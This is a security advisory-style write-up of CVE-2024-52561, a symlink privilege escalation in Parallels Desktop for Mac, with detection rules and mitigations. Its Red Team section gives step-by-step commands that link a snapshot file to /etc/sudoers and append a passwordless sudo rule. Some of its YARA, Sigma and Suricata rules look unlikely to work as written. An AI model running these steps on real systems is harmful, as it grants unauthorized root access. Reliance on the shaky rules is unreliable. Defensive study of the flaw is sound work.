CVE-2024-52561

Executive Summary

CVE-2024-52561 is a privilege escalation vulnerability in Parallels Desktop for Mac version 20.1.1 (build 55740). The flaw resides in the Snapshot functionality, where a root service verifies and modifies the ownership of snapshot files after a virtual machine snapshot is deleted. By exploiting a symlink, an attacker with local access can change the ownership of arbitrary root-owned files to a lower-privilege user, potentially leading to full system compromise. The vulnerability has a CVSS score of 7.8 (High) and currently has no known public exploit or patch.

CVSS Breakdown & Threat Level

• CVSS Score: 7.8 (High)
• Attack Vector: Local (AV:L)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The threat level is high due to the low complexity and the potential for an attacker to gain root privileges from a low-privileged user context.

Deep Dive & Mechanics

The vulnerability is rooted in the Snapshot deletion process within Parallels Desktop. When a user deletes a snapshot, a root-level service (likely prl_disp_service or similar) is responsible for cleaning up the associated files. This service verifies and modifies the ownership of the snapshot files to ensure they are owned by the correct user.

The flaw occurs because the service does not properly validate the target of symbolic links (symlinks) within the snapshot directory. An attacker can create a symlink pointing from a snapshot file to a critical system file (e.g., /etc/sudoers or a binary). When the root service changes the ownership of the snapshot file, it follows the symlink and changes the ownership of the target file to the attacker's user ID. This allows the attacker to gain write access to sensitive files, enabling privilege escalation.

The attack sequence is:

1. Attacker creates a symlink in the snapshot directory pointing to a root-owned file.
2. Attacker triggers the deletion of the snapshot.
3. The root service changes the ownership of the symlink target to the attacker's user.
4. Attacker now has write access to the target file and can modify it to escalate privileges.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the snapshot deletion handler. The vulnerable code likely uses a function like chown() or fchown() on a path derived from user input without checking for symlinks. A patched version would use O_NOFOLLOW flags or lchown() to avoid following symlinks.

Vulnerable Code (Conceptual):

// Vulnerable: follows symlinks
char *path = get_snapshot_path(user_input);
chown(path, uid, gid);

Patched Code (Conceptual):

// Patched: uses O_NOFOLLOW to avoid symlinks
int fd = open(path, O_RDONLY | O_NOFOLLOW);
if (fd != -1) {
    fchown(fd, uid, gid);
    close(fd);
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Local access to a macOS system with Parallels Desktop 20.1.1 (build 55740) installed.
• A low-privileged user account.
• A virtual machine with at least one snapshot.

Exploitation Steps:

1. Identify Snapshot Directory:

   ls -la ~/Library/Parallels/VM_Name.snapshot/
   

2. Create Symlink:

   ln -s /etc/sudoers ~/Library/Parallels/VM_Name.snapshot/snapshot_file.pvs
   

3. Trigger Snapshot Deletion:

   prlctl snapshot-delete VM_Name --id <snapshot_id>
   

4. Verify Ownership Change:

   ls -la /etc/sudoers
   # Should now be owned by the attacker's user
   

5. Escalate Privileges:

   echo "attacker ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
   sudo -s
   

Blue Team

Detection:

• Monitor for symlink creation in Parallels snapshot directories.
• Alert on ownership changes to sensitive files (e.g., /etc/sudoers, /etc/passwd).
• Use file integrity monitoring (FIM) to detect unauthorized modifications.

Prevention:

• Restrict write access to snapshot directories to only the Parallels service.
• Apply the principle of least privilege to the Parallels service.
• Use macOS security features like System Integrity Protection (SIP) to protect critical files.

Indicators of Compromise (IOCs)

• File System:
  • Symlinks in ~/Library/Parallels/*.snapshot/ pointing to system files.
  • Unexpected ownership changes on files like /etc/sudoers, /etc/passwd, or /usr/bin/su.
• Process:
  • prl_disp_service or prl_snapshot processes with unusual file operations.
• Logs:
  • System log entries showing chown operations on sensitive files.
  • Parallels logs indicating snapshot deletion with unusual paths.

Detection Engineering

YARA Rule

rule CVE_2024_52561_Symlink_Detection {
    meta:
        description = "Detects symlinks in Parallels snapshot directories pointing to sensitive files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-52561"
    strings:
        $sensitive_path = /\/etc\/(sudoers|passwd|shadow|group)/ nocase
        $snapshot_dir = /Parallels.*\.snapshot/ nocase
    condition:
        $sensitive_path and $snapshot_dir
}

Sigma Rule

title: CVE-2024-52561 - Parallels Desktop Symlink Privilege Escalation
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects symlink creation in Parallels snapshot directories targeting sensitive files
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-52561
logsource:
    category: file_event
    product: macos
detection:
    selection:
        TargetFilename|contains: '/Parallels/'
        TargetFilename|endswith: '.snapshot/'
        TargetFilename|contains: 'symlink'
    condition: selection
falsepositives:
    - Legitimate Parallels operations
level: high

Suricata Rule

alert file any any -> any any (msg:"CVE-2024-52561 - Parallels Desktop Symlink Attack"; file.name content:"/Parallels/"; file.name content:".snapshot/"; file.name content:"symlink"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Snapshot Deletion: Prevent users from deleting snapshots until a patch is available.
2. Restrict Snapshot Directory Permissions: Ensure only the Parallels service can write to snapshot directories.
3. Monitor for Symlink Attacks: Implement file integrity monitoring on sensitive system files.

Long-Term Fix:

• Apply the official patch from Parallels when released.
• Update to a patched version of Parallels Desktop.

Workaround:

• Use macOS's chflags to set the schg (system immutable) flag on critical files to prevent ownership changes.

Valters IT